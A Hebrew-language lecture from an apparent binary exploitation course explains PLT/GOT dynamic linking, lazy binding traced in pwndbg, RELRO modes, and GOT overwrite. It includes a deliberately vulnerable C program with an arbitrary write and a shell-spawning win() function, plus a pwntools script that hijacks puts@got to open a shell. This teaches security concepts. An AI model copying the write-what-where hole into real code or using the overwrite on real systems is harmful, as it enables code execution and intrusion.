לדלג לתוכן

4.1 GOT וPLT לעומק הרצאה

בפרק הקודם כתבנו shellcode והרצנו אותו על המחסנית, אבל בעולם האמיתי NX חוסם בדיוק את זה: המחסנית לא ניתנת להרצה, אז אין לאן להזריק קוד. מכאן ואילך נשחק אחרת - במקום להזריק קוד חדש נשתמש בקוד שכבר קיים בתוכנית ובספריות. הצעד הראשון לשם הוא להבין לעומק איך התוכנית שלכם בכלל קוראת לפונקציה מ-libc. כשאתם כותבים puts("hi"), מי בעצם מוצא את הכתובת של puts בזמן ריצה, ואיפה היא נשמרת? התשובה היא שתי טבלאות קטנות ומרתקות, PLT ו-GOT, ומי ששולט בהן שולט בזרימת ההרצה. בשיעור הזה נפרק אותן בורג-בורג, נעקוב אחרי הפתרון הדינמי ב-GDB, נבין מה RELRO עושה להן, ולמה דריסה של ערך אחד ב-GOT מספיקה כדי לחטוף קריאה עתידית ולפתוח shell. זה הבסיס ל-ret2libc שנבנה בשיעור הבא.

קישור דינמי - dynamic linking

כמעט כל בינארי שאתם תוקפים הוא דינמי: הוא לא מכיל בתוכו את הקוד של puts, printf או system, אלא טוען את libc בזמן ריצה ומשתמש בפונקציות משם. אפשר לראות את זה מיד:

$ file ./demo
./demo: ELF 64-bit LSB pie executable, dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, ...

$ ldd ./demo
        linux-vdso.so.1 (0x00007ffff7fce000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff7c00000)
        /lib64/ld-linux-x86-64.so.2 (0x00007ffff7fd0000)

עכשיו הבעיה: בזמן הקומפילציה, המהדר לא יודע באיזו כתובת puts תשב בזמן ריצה. libc נטענת על ידי הטוען הדינמי (ld-linux), ועם ASLR היא נוחתת בכל הרצה בכתובת אחרת. אז המהדר לא יכול פשוט לכתוב call 0x7ffff7e5c420 בקוד. הוא צריך מנגנון עקיף: מקום קבוע בבינארי שבו בזמן ריצה תיכתב הכתובת האמיתית של הפונקציה, וקוד שיודע לקפוץ דרך המקום הזה. שני החלקים האלה הם בדיוק GOT ו-PLT.

הטבלאות - PLT וGOT

נתחיל מהחלוקה הבסיסית, וכדאי לזכור אותה בעל פה:

  • טבלת ה-GOT (Global Offset Table) יושבת בסקשן .got.plt. זו טבלת נתונים - מערך של מצביעים. בכל תא יש כתובת של פונקציה ב-libc. התא ניתן לכתיבה (זו הנקודה שתעניין אותנו כתוקפים).
  • טבלת ה-PLT (Procedure Linkage Table) יושבת בסקשן .plt. זה קוד - קטעי stub קצרים שהמעבד מריץ. תא ה-PLT של פונקציה מבצע קפיצה עקיפה דרך תא ה-GOT המתאים.

הקוד שלכם אף פעם לא קורא ישירות ל-libc. הוא קורא ל-stub המקומי ב-PLT, וזה קופץ דרך ה-GOT ליעד האמיתי:

your code            the PLT (code, r-x)      the GOT (data, rw-)         libc
+-------------+       +------------------+      +------------------+      +-----------+
| call        |-----> | puts@plt:        |      | puts@got:        |      | puts:     |
| puts@plt    |       |   jmp *[puts@got]|----> |  0x7ffff7e5c420  |----> |   ...code |
+-------------+       +------------------+      +------------------+      +-----------+

הקפיצה jmp *[puts@got] היא קפיצה עקיפה דרך זיכרון: המעבד קורא את הכתובת שכתובה בתא ה-GOT וקופץ אליה. ברגע שבתא ה-GOT יש את הכתובת הנכונה של puts, הקריאה עובדת. השאלה הגדולה היא: מי כותב את הכתובת הזו לתא, ומתי.

תא הקפיצה - PLT stub

בואו נסתכל על ה-PLT האמיתי בבינארי לא-PIE (קימפלנו עם -no-pie -fcf-protection=none כדי לקבל את המבנה הקלאסי הנקי):

$ objdump -d -j .plt ./demo

0000000000401020 <.plt>:
  401020:  ff 35 e2 2f 00 00   push   QWORD PTR [rip+0x2fe2]   # 404008 <_GLOBAL_OFFSET_TABLE_+0x8>
  401026:  ff 25 e4 2f 00 00   jmp    QWORD PTR [rip+0x2fe4]   # 404010 <_GLOBAL_OFFSET_TABLE_+0x10>
  40102c:  0f 1f 40 00         nop    DWORD PTR [rax+0x0]

0000000000401030 <puts@plt>:
  401030:  ff 25 e2 2f 00 00   jmp    QWORD PTR [rip+0x2fe2]   # 404018 <puts@GLIBC_2.2.5>
  401036:  68 00 00 00 00      push   0x0
  40103b:  e9 e0 ff ff ff      jmp    401020 <.plt>

יש כאן שני חלקים. הראשון, .plt[0] (נקרא PLT0), הוא הכניסה המשותפת לכל הפונקציות - נחזור אליו. השני, puts@plt, הוא ה-stub הספציפי של puts, ומורכב משלוש הוראות:

  1. jmp *[puts@got] - קופץ לכתובת שכתובה בתא ה-GOT של puts (כאן 0x404018).
  2. push 0x0 - דוחף את אינדקס הרילוקיישן של puts (כאן 0, כי זו הפונקציה הראשונה בטבלה).
  3. jmp 401020 - קופץ ל-PLT0.

שימו לב שההוראה הראשונה היא קפיצה עקיפה, וכל הקסם תלוי במה שכתוב כרגע בתא ה-GOT. שתי ההוראות האחרות (push ו-jmp PLT0) הן "מסלול הפתרון" - הן ירוצו רק בפעם הראשונה, כמו שנראה עוד רגע.

הערה על בינארים מודרניים: אם תקמפלו בלי -fcf-protection=none, המהדר יוסיף סקשן .plt.sec עם הוראת endbr64 לפני הקפיצה העקיפה (הגנת CET). זה מוסיף עוד קפיצה אחת בדרך, אבל המנגנון של ה-GOT זהה לחלוטין. לצורך הלימוד נשאר עם המבנה הקלאסי.

מבנה ה-GOT לעומק

ה-GOT היא מערך מצביעים בסקשן .got.plt. שלושת התאים הראשונים שמורים ומיוחדים, והשאר הם תאי פונקציות:

.got.plt:
+----------------+------------------------------------------+
| GOT[0]  404000 | address of _DYNAMIC (dynamic info table)  |
+----------------+------------------------------------------+
| GOT[1]  404008 | pointer to link_map (loader structure)    |  <-- filled at load time
+----------------+------------------------------------------+
| GOT[2]  404010 | address of _dl_runtime_resolve (resolver) |  <-- filled at load time
+----------------+------------------------------------------+
| GOT[3]  404018 | slot for puts                             |  <-- our functions
+----------------+------------------------------------------+
| GOT[4]  404020 | slot for system                           |
+----------------+------------------------------------------+

התאים GOT[1] ו-GOT[2] ממולאים על ידי הטוען הדינמי כבר בזמן הטעינה: GOT[1] מצביע על מבנה הנתונים של הספרייה, ו-GOT[2] מצביע על הפונקציה _dl_runtime_resolve - זה הפותר הדינמי, מי שיודע למצוא כתובות של סמלים. תזכרו את GOT[2], הוא היעד של הקפיצה ב-PLT0.

מה יש בתא של puts (GOT[3]) לפני הקריאה הראשונה? כאן הטריק היפה: הוא לא מצביע על libc. הוא מצביע בחזרה לתוך ה-PLT, בדיוק על הוראת ה-push 0x0 שראינו (כתובת 0x401036, כלומר puts@plt+6). אפשר לראות את זה מהרילוקיישנים:

$ readelf -r ./demo

Relocation section '.rela.plt' at offset 0x5c0 contains 2 entries:
  Offset          Info           Type            Sym. Value    Sym. Name + Addend
0000000404018  000200000007 R_X86_64_JUMP_SLO  0000000000000000 puts@GLIBC_2.2.5 + 0
0000000404020  000300000007 R_X86_64_JUMP_SLO  0000000000000000 system@GLIBC_2.2.5 + 0

הטיפוס R_X86_64_JUMP_SLO (קיצור של JUMP_SLOT) הוא רילוקיישן של "תא קפיצה עצל". השדה Offset הוא הכתובת של תא ה-GOT (0x404018 עבור puts), והשדה Sym. Name הוא הסמל שצריך למצוא. הרשומה הזו היא בדיוק המידע שהפותר הדינמי יצטרך כשיגיע הזמן לפתור את puts.

פתרון עצל - lazy binding

עכשיו נחבר את הכל. ברירת המחדל של הטוען היא פתרון עצל (lazy binding): לא לפתור את הכתובת של פונקציה עד הקריאה הראשונה אליה. למה עצל? כי תוכנית עשויה לקשר עשרות פונקציות ולקרוא בפועל רק לחלקן, ופתרון כל הסמלים בהתחלה מבזבז זמן טעינה. אז הפתרון קורה בקריאה הראשונה בלבד, ומאותו רגע התא ב-GOT כבר מצביע ישר על libc.

בואו נראה מה קורה בקריאה הראשונה ל-puts:

first call to puts:

  call puts@plt
        |
        v
  puts@plt:  jmp *[puts@got]        the slot points back to puts@plt+6
        |                            (not resolved yet)
        v
  puts@plt+6:  push 0x0             pushes the relocation index (0 = puts)
               jmp  PLT0
        |
        v
  PLT0:  push [GOT[1]]              pushes link_map
         jmp  *[GOT[2]]             jumps to _dl_runtime_resolve
        |
        v
  _dl_runtime_resolve(link_map, 0)
        |  looks up puts in libc's symbol table
        |  writes the real address into puts@got (0x404018)  <=== the resolving moment
        v
  jumps to the real puts in libc, which prints and returns to your code

הצעד הקריטי מודגש: _dl_runtime_resolve (דרך הפונקציה הפנימית _dl_fixup) מוצא את הכתובת של puts ב-libc, מתקן את תא ה-GOT כך שיצביע ישירות ל-libc, ורק אז מעביר את השליטה ל-puts. התיקון הזה קורה פעם אחת.

מה קורה בקריאה השנייה?

second call to puts:

  call puts@plt
        |
        v
  puts@plt:  jmp *[puts@got]        the slot already points to libc!
        |
        v
  the real puts in libc            direct, no resolver

הפעם jmp *[puts@got] קופץ ישירות ל-libc. שתי ההוראות push/jmp PLT0 לא רצות בכלל. זה כל הרעיון של lazy binding: מחיר הפתרון משולם פעם אחת, ואז כל קריאה היא קפיצה עקיפה בודדת.

מהצד שלנו כתוקפים, המסקנה עצומה: תא ה-GOT הוא מצביע פונקציה שניתן לכתיבה, שהתוכנית קופצת דרכו בכל קריאה. אם נצליח לכתוב לתא הזה, אנחנו שולטים לאן הקריאה הבאה תלך.

מעקב ב-GDB אחרי פתרון PLT/GOT

בואו נראה את הפתרון קורה בזמן אמת. הבינארי לדוגמה:

// demo.c
#include <stdio.h>
int main() {
    puts("first call");    // first call - triggers the resolver
    puts("second call");   // second call - direct
    return 0;
}
$ gcc -no-pie -fcf-protection=none -z lazy -o demo demo.c

עכשיו ב-GDB עם pwndbg. קודם מוצאים את כתובת תא ה-GOT של puts:

pwndbg> disassemble main
   0x0000000000401136 <+0>:   push   rbp
   ...
   0x000000000040114a <+20>:  call   0x401030 <puts@plt>
   ...

pwndbg> got
GOT protection: Partial RELRO | GOT functions: 2
[0x404018] puts@GLIBC_2.2.5 -> 0x401036 (puts@plt+6)
[0x404020] system@GLIBC_2.2.5 -> 0x401046 (system@plt+6)

שימו לב: לפני שהרצנו משהו, puts@got (בכתובת 0x404018) מצביע על 0x401036 - כלומר puts@plt+6, בדיוק הוראת ה-push שדיברנו עליה. זה המצב "לא נפתר".

נשים breakpoint על הקריאה הראשונה, ונבדוק את התא לפני ואחרי:

pwndbg> break *main+20
pwndbg> run
pwndbg> x/gx 0x404018
0x404018 <puts@got.plt>:  0x0000000000401036        <-- still puts@plt+6

pwndbg> stepi          # enter puts@plt
pwndbg> stepi          # jmp through the GOT -> back to push; then to PLT0 and the resolver
pwndbg> finish         # let the resolver finish and print "first call"

pwndbg> x/gx 0x404018
0x404018 <puts@got.plt>:  0x00007ffff7e5c420        <-- now a libc address!

התא השתנה מ-0x401036 (בתוך ה-PLT) ל-0x7ffff7e5c420 (בתוך libc). זה בדיוק רגע הפתיחה - הפותר הדינמי כתב את הכתובת האמיתית. אפשר לאמת שזו באמת puts:

pwndbg> x/gx 0x404018
0x404018 <puts@got.plt>:  0x00007ffff7e5c420
pwndbg> p puts
$1 = {int (const char *)} 0x7ffff7e5c420 <puts>

מרגע זה, הקריאה השנייה ל-puts תקפוץ ישירות ל-0x7ffff7e5c420 בלי לגעת בפותר. עכשיו יש לנו את התובנה המרכזית לתוקף: 0x404018 הוא מצביע פונקציה שהתוכנית קופצת דרכו בכל קריאה ל-puts. אם נחליף את הערך הזה, נשנה לאן הקריאה תלך.

הגנת RELRO - חלקי מול מלא

אם תא ה-GOT ניתן לכתיבה וזו נקודת תורפה, למה שלא פשוט נמנע כתיבה אליו? זה בדיוק מה ש-RELRO (Relocation Read-Only) עושה. יש שלושה מצבים.

המצב No RELRO - אין הגנה בכלל, כל ה-GOT ועוד סקשנים רגישים (.init_array, .dynamic) ניתנים לכתיבה. נדיר היום.

המצב Partial RELRO (ברירת המחדל ברוב ההפצות). הטוען מסמן חלק מהסקשנים הרגישים כקריאה-בלבד אחרי הטעינה, אבל .got.plt נשאר ניתן לכתיבה. למה? כי lazy binding חייב לכתוב לתאים בזמן ריצה, כפי שראינו. אז הסקשן .got (עבור משתני נתונים) מוגן, אבל הסקשן .got.plt (עם מצביעי הפונקציות שלנו) פתוח לכתיבה. זה המצב שבו דריסת GOT עובדת.

המצב Full RELRO (-z relro -z now). הטוען מבצע פתרון מוקדם (eager / BIND_NOW): כל הכתובות נפתרות כבר בזמן הטעינה, לא בעצלות. אחרי הטעינה, כל ה-GOT, כולל .got.plt, מסומן קריאה-בלבד. אין lazy binding, ואין לאן לכתוב. דריסת GOT פשוט לא אפשרית - כתיבה לתא תגרום ל-SIGSEGV.

איך בודקים? הכי מהר עם checksec:

$ checksec --file=./demo
RELRO           STACK CANARY   NX            PIE
Partial RELRO   No canary      NX enabled    No PIE

לעומת בינארי שקומפל עם -z now:

$ gcc -no-pie -z now -o demo_full demo.c
$ checksec --file=./demo_full
RELRO           STACK CANARY   NX            PIE
Full RELRO      No canary      NX enabled    No PIE

ואפשר לראות את ההבדל גם ברמת ה-ELF. הדגל BIND_NOW מופיע רק ב-Full RELRO:

$ readelf -d ./demo_full | grep -i -E 'bind|flags'
 0x000000000000001e (FLAGS)   BIND_NOW
 0x000000006ffffffb (FLAGS_1) Flags: NOW

$ readelf -d ./demo | grep -i -E 'bind|flags'
                              (no BIND_NOW - this is Partial RELRO)

ולבסוף, מי שרוצה לראות אילו כתובות באמת ניתנות לכתיבה בזמן ריצה - vmmap ב-pwndbg מראה את ההרשאות של הדף שמכיל את ה-GOT. ב-Partial RELRO הדף של .got.plt יהיה rw-, ב-Full RELRO הוא r--.

דריסת ערך ב-GOT - GOT overwrite

עכשיו נחבר הכל למתקפה. הרעיון: אם יש לנו יכולת לכתוב לזיכרון (write-what-where), ותא ה-GOT ניתן לכתיבה (Partial RELRO), אז נכתוב לתוך תא ה-GOT של פונקציה שהתוכנית עתידה לקרוא לה, ונחליף את הכתובת שלה בכתובת שאנחנו בוחרים. הקריאה הבאה תלך ליעד שלנו.

בואו נדגים על בינארי שיש בו כתיבה שרירותית מפורשת, כדי לבודד את מנגנון ה-GOT מבלי לגרור עדיין libc leak (זה נושא של 4.4). שימו לב שהוספתי פונקציית win בתוך הבינארי:

// gotdemo.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void win() {
    system("/bin/sh");   // win deliberately does not call puts, we'll explain why
}

int main() {
    setvbuf(stdout, NULL, _IONBF, 0);
    unsigned long addr, val;

    puts("addr (hex):");     // puts is already resolved by this call
    scanf("%lx", &addr);
    puts("val (hex):");
    scanf("%lx", &val);

    *(unsigned long *)addr = val;   // arbitrary write: what to-where

    puts("bye");                     // the call we'll hijack
    return 0;
}
$ gcc -no-pie -fno-stack-protector -o gotdemo gotdemo.c   # Partial RELRO by default

התוכנית מבקשת כתובת וערך, וכותבת את הערך לכתובת. זו יכולת ה-write-what-where שלנו. התוכנית לא PIE, אז הכתובת של win קבועה, ותא ה-GOT של puts בכתובת קבועה. התוכנית Partial RELRO, אז .got.plt ניתן לכתיבה. שתי ההנחות האלה הן מה שמאפשר את המתקפה.

התוכנית: נדרוס את puts@got עם הכתובת של win. שימו לב לרצף:

  • הקריאות puts("addr (hex):") ו-puts("val (hex):") כבר פתרו את puts@got לכתובת האמיתית ב-libc.
  • הכתיבה שלנו מחליפה את הערך הזה בכתובת של win.
  • הקריאה הבאה, puts("bye"), עוברת ב-PLT: jmp *[puts@got] - וכעת התא מצביע על win. במקום להדפיס "bye", התוכנית קופצת ל-win, ש-מריצה system("/bin/sh").
before the overwrite:                after the overwrite:
+---------------------------+       +---------------------------+
| puts@got -> libc puts     |       | puts@got -> win           |
+---------------------------+       +---------------------------+
        |                                   |
   puts("bye") prints "bye"           puts("bye") runs win() -> shell

חשוב: בחרנו ש-win לא תקרא ל-puts בעצמה, אלא ישר ל-system. אם win הייתה קוראת ל-puts, הקריאה הזו הייתה עוברת שוב דרך puts@got שכבר דרסנו - ונקפוץ בחזרה ל-win בלולאה אינסופית. system הוא תא GOT נפרד שלא נגענו בו, אז הוא נפתר כרגיל.

וה-exploit ב-pwntools. הספרייה יודעת לתת לנו את כתובת ה-GOT ואת כתובת ה-win ישירות מה-ELF:

#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./gotdemo')

p = process('./gotdemo')

puts_got = elf.got['puts']       # address of puts's GOT slot (e.g. 0x404018)
win      = elf.symbols['win']    # address of win in the binary (fixed, since No PIE)

log.info(f'puts@got = {hex(puts_got)}')
log.info(f'win      = {hex(win)}')

p.recvuntil(b'addr (hex):')
p.sendline(hex(puts_got).encode())    # scanf("%lx") accepts a 0x prefix
p.recvuntil(b'val (hex):')
p.sendline(hex(win).encode())

p.interactive()                        # puts("bye") -> win() -> shell

בעולם האמיתי, יכולת ה-write-what-where מגיעה בדרך כלל מחולשת format string עם %n (פרק 5) או מoverflow לתוך מבנה עם מצביע פונקציה. אבל המנגנון זהה: מצאתם כתיבה שרירותית, כתבתם לתא GOT, וחטפתם את הקריאה הבאה.

תנאים ומגבלות

לפני שתרוצו ליישם, כדאי לדעת מתי זה עובד ומתי לא:

  • במצב Full RELRO המתקפה נעצרת לגמרי. ה-GOT קריאה-בלבד, כל ניסיון כתיבה יקרוס. אם checksec מראה Full RELRO, שכחו מדריסת GOT ותחפשו מטרות אחרות (מצביעים ב-heap, __malloc_hook בגרסאות ישנות, וכו').
  • כשהבינארי PIE, צריך דליפת כתובת. כתובת ה-GOT וכתובת win/libc אקראיות בכל הרצה, אז צריך קודם לדלוף כתובת כדי לחשב אותן (נלמד ב-4.4). בדוגמה שלנו כיבינו PIE בכוונה כדי לבודד את הרעיון.
  • צריך יכולת כתיבה. דריסת GOT היא לא חולשה בפני עצמה - היא מה שעושים עם חולשת כתיבה שכבר יש. הoverflow או ה-format string הם מקור היכולת.
  • מה כותבים לתא. בדוגמה כתבנו כתובת פנימית (win). במתקפה אמיתית לרוב כותבים כתובת של system ב-libc (ומכינים ש-/bin/sh יעבור כארגומנט), או כתובת של one_gadget (פרק 4.5). לשם צריך לדעת את בסיס libc, כלומר leak.
  • איזה תא לבחור. תבחרו תא של פונקציה שהתוכנית תקרא לה שוב אחרי הדריסה, ורצוי עם ארגומנט שאתם שולטים בו. puts/printf/free/atoi הם קלאסיקות, כי הארגומנט שלהם הוא לרוב קלט מהמשתמש.

סיכום

  • קישור דינמי אומר שהכתובת של פונקציית libc לא ידועה בזמן קומפילציה, ולכן קוראים לה בעקיפין דרך שתי טבלאות.
  • ה-PLT הוא קוד (stub-ים) שמבצע קפיצה עקיפה דרך ה-GOT; ה-GOT הוא נתונים - מערך מצביעי פונקציות ניתן לכתיבה.
  • בפתרון עצל (lazy binding), הקריאה הראשונה עוברת דרך _dl_runtime_resolve, שמוצא את הכתובת ומתקן את תא ה-GOT. כל קריאה הבאה קופצת ישירות מהתא ל-libc.
  • שלושת התאים הראשונים ב-GOT שמורים: _DYNAMIC, link_map, ו-_dl_runtime_resolve. שאר התאים הם הפונקציות שלכם, ומתחילים בהצבעה בחזרה לתוך ה-PLT.
  • הגנת RELRO: מצב Partial משאיר את .got.plt ניתן לכתיבה (דריסת GOT עובדת), מצב Full מבצע BIND_NOW ומסמן את כל ה-GOT קריאה-בלבד (דריסת GOT נכשלת).
  • דריסת תא GOT הופכת כל קריאה עתידית לאותה פונקציה לקפיצה ליעד שלכם. עם Partial RELRO, לא-PIE, ויכולת כתיבה - זה מוביל ישר ל-shell.
  • הכלים: checksec ל-RELRO, readelf -r לרילוקיישנים, readelf -d ל-BIND_NOW, objdump -d -j .plt, ו-gdb/pwndbg (got, x/gx, vmmap) למעקב.